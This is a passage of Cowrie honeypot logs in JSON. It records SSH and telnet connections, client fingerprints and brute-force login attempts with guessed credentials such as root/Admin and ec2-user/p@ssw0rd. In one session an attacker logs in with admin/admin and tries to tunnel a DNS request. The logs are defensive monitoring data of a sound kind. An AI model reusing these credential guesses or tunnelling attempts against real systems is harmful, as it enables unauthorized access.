sa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:59.630674Z","src_ip":"202.165.22.58","session":"3a6b0bafe2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:31:59.899541Z","src_ip":"202.165.22.58","session":"3a6b0bafe2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.262648820877075,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:32:39.711179Z","src_ip":"104.245.105.2","session":"182f223490a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":58846,"dst_ip":"159.203.135.109","dst_port":22,"session":"e377a4115d64","protocol":"ssh","message":"New connection: 182.48.68.82:58846 (159.203.135.109:22) [session: e377a4115d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:32:58.203640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:32:58.209004Z","src_ip":"182.48.68.82","session":"e377a4115d64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:32:58.449990Z","src_ip":"182.48.68.82","session":"e377a4115d64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lj123456.","message":"login attempt [root/Lj123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:32:59.444648Z","src_ip":"182.48.68.82","session":"e377a4115d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:33:00.690069Z","src_ip":"182.48.68.82","session":"e377a4115d64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37134,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdf770469639","protocol":"telnet","message":"New connection: 104.245.105.2:37134 (10.17.0.5:23) [session: cdf770469639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:33:25.281281Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":48602,"dst_ip":"159.203.135.109","dst_port":22,"session":"95b25f556982","protocol":"ssh","message":"New connection: 202.165.22.58:48602 (159.203.135.109:22) [session: 95b25f556982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:33:28.761966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:33:28.766420Z","src_ip":"202.165.22.58","session":"95b25f556982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:33:29.060205Z","src_ip":"202.165.22.58","session":"95b25f556982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testu","password":"123456","message":"login attempt [testu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:33:30.248942Z","src_ip":"202.165.22.58","session":"95b25f556982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:33:31.538314Z","src_ip":"202.165.22.58","session":"95b25f556982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.995415687561035,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:34:00.276597Z","src_ip":"104.245.105.2","session":"cdf770469639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":46318,"dst_ip":"159.203.135.109","dst_port":22,"session":"746fe6329723","protocol":"ssh","message":"New connection: 182.48.68.82:46318 (159.203.135.109:22) [session: 746fe6329723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:34:01.657505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:34:01.662602Z","src_ip":"182.48.68.82","session":"746fe6329723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:34:01.904077Z","src_ip":"182.48.68.82","session":"746fe6329723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"p@ssw0rd","message":"login attempt [ec2-user/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:34:02.897254Z","src_ip":"182.48.68.82","session":"746fe6329723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:34:04.141315Z","src_ip":"182.48.68.82","session":"746fe6329723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54800,"dst_ip":"10.17.0.5","dst_port":23,"session":"e26539aa204f","protocol":"telnet","message":"New connection: 104.245.105.2:54800 (10.17.0.5:23) [session: e26539aa204f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:34:58.468958Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":52544,"dst_ip":"159.203.135.109","dst_port":22,"session":"efd664a3f5c1","protocol":"ssh","message":"New connection: 182.48.68.82:52544 (159.203.135.109:22) [session: efd664a3f5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:05.494571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:05.505761Z","src_ip":"182.48.68.82","session":"efd664a3f5c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:05.752014Z","src_ip":"182.48.68.82","session":"efd664a3f5c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":33552,"dst_ip":"159.203.135.109","dst_port":22,"session":"32dce68e8c70","protocol":"ssh","message":"New connection: 202.165.22.58:33552 (159.203.135.109:22) [session: 32dce68e8c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:05.922699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:05.928642Z","src_ip":"202.165.22.58","session":"32dce68e8c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:06.228927Z","src_ip":"202.165.22.58","session":"32dce68e8c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"duzon@1234","message":"login attempt [root/duzon@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:06.747333Z","src_ip":"182.48.68.82","session":"efd664a3f5c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin","message":"login attempt [root/Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:07.447567Z","src_ip":"202.165.22.58","session":"32dce68e8c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:07.992209Z","src_ip":"182.48.68.82","session":"efd664a3f5c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:08.745882Z","src_ip":"202.165.22.58","session":"32dce68e8c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56478,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e980ce9357a","protocol":"telnet","message":"New connection: 104.245.105.2:56478 (10.17.0.5:23) [session: 6e980ce9357a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:21.888783Z"}
{"eventid":"cowrie.session.closed","duration":34.072550535202026,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:32.541408Z","src_ip":"104.245.105.2","session":"e26539aa204f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016782999038696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:35:52.905469Z","src_ip":"104.245.105.2","session":"6e980ce9357a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7974,"dst_ip":"10.17.0.5","dst_port":22,"session":"90f0e0b36925","protocol":"ssh","message":"New connection: 87.251.64.176:7974 (10.17.0.5:22) [session: 90f0e0b36925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:07.361196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:07.365294Z","src_ip":"87.251.64.176","session":"90f0e0b36925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:07.461149Z","src_ip":"87.251.64.176","session":"90f0e0b36925","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:07.752083Z","src_ip":"87.251.64.176","session":"90f0e0b36925","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:07.851023Z","session":"90f0e0b36925","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:07.948130Z","src_ip":"87.251.64.176","session":"90f0e0b36925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:08.046193Z","src_ip":"87.251.64.176","session":"90f0e0b36925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":39068,"dst_ip":"159.203.135.109","dst_port":22,"session":"805d9f8b7641","protocol":"ssh","message":"New connection: 182.48.68.82:39068 (159.203.135.109:22) [session: 805d9f8b7641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:11.114535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:11.119332Z","src_ip":"182.48.68.82","session":"805d9f8b7641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:11.364129Z","src_ip":"182.48.68.82","session":"805d9f8b7641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aspect","message":"login attempt [root/aspect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:12.356101Z","src_ip":"182.48.68.82","session":"805d9f8b7641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:13.600405Z","src_ip":"182.48.68.82","session":"805d9f8b7641","protocol":"ssh"}
